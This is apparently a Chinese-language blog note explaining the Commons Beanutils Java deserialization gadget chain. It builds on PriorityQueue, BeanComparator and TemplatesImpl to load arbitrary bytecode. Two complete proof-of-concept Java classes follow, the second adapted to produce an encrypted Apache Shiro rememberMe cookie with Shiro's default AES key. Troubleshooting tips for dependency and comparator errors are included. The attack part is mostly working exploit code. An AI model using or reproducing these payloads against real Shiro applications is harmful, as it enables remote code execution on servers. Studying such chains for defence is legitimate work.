CommonsBeanutils
Apache Commons Beanutils 是 Apache Commons中的另一个项目,提供的功能点如下:
- 帮助操作JavaBean,如:
需要理解一下这个操作的细节:org.apache.commons.beanutils.PropertyUtils.getProperty(new Cat(), "name");
- 首先获取到字段的名称 name
- 根据命名规则匹配到 getName()
- 调用getName
- commons-beanutils 中很多这种 辅助方法
那么重点来了, 继续PriorityQueue链子的思路, PriorityQueue#readObject会触发compare.
触发TransletClassLoader#defineClass() [加载任意字节码]的方法中刚好有一个TemplatesImpl#getOutputProperties(). 那么能否在common beanutils 这个包中找到一个Comparator的compare方法可以调用类似 PropertyUtils.getProperty 这种东西呢, 答案是可以. BeanComparator就是这么一个类, 看一下它的compare方法:
那么这个链子的思路就清晰了, 完整的POC如下:
public class CommonsBeanutils0 {public static byte[] payload() throws Exception{ClassPool pool = ClassPool.getDefault();CtClass ct = pool.get(bad.evilClz.class.getName());byte[] shellcode = ct.toBytecode();TemplatesImpl tmpl = new TemplatesImpl();Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});Reflections.setFieldValue(tmpl,"_name","testName");Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());Comparator comparator = new BeanComparator(); // OutputPropertiesPriorityQueue pq = new PriorityQueue(100,comparator);pq.add(1);pq.add(1);Reflections.setFieldValue(comparator,"property", "outputProperties");Reflections.setFieldValue(pq,"queue",new Object[]{tmpl,tmpl});return Serializer.Serialize(pq);}}
坑
调试的时候发现没有org.apache.commons.logging.logfactory这个类, mvn加上依赖就好了:
https://mvnrepository.com/artifact/commons-logging/commons-logging/1.1.1
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging --><dependency><groupId>commons-logging</groupId><artifactId>commons-logging</artifactId><version>1.1.1</version></dependency>
CommonsBeanutil打Shiro
Shiro原生依赖中就有CB,所以很方便的可以利用.
可能的坑:
- serialVersionUID不一致, 需要CB版本与Shiro一直
- 去除CB依赖后直接打会报错: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

解决?
先看这个类在哪调用了?
初始化的时候如果没传comparator就会调用, 那传一个就行了. 这个comparator要求如下:
- 实现 java.util.Comparator 接口
- 实现 java.io.Serializable 接口
- jdk自带或者在cb里面
可以找到 java.lang.String.CaseInsensitiveComparator这个类. 
使用String.CASE_INSENSITIVE_ORDER就可以拿到它的实例,修改后的POC如下:
public class CommonsBeanutils0 {public static byte[] payload() throws Exception{ClassPool pool = ClassPool.getDefault();CtClass ct = pool.get(bad.evilClz.class.getName());byte[] shellcode = ct.toBytecode();TemplatesImpl tmpl = new TemplatesImpl();Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});Reflections.setFieldValue(tmpl,"_name","testName");Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());Comparator comparator = new BeanComparator(); // OutputPropertiesPriorityQueue pq = new PriorityQueue(100,comparator);pq.add(1);pq.add(1);Reflections.setFieldValue(comparator,"property", "outputProperties");Reflections.setFieldValue(pq,"queue",new Object[]{tmpl,tmpl});Reflections.setFieldValue(comparator,"comparator",String.CASE_INSENSITIVE_ORDER); // newreturn Serializer.Serialize(pq);}public static String getShiroPayload() throws Exception{byte[] payload = payload();AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(payload, key);return "rememberMe="+ ciphertext.toString();}}
后续: 也可以用 java.util.Collections$ReverseComparator 来替代.
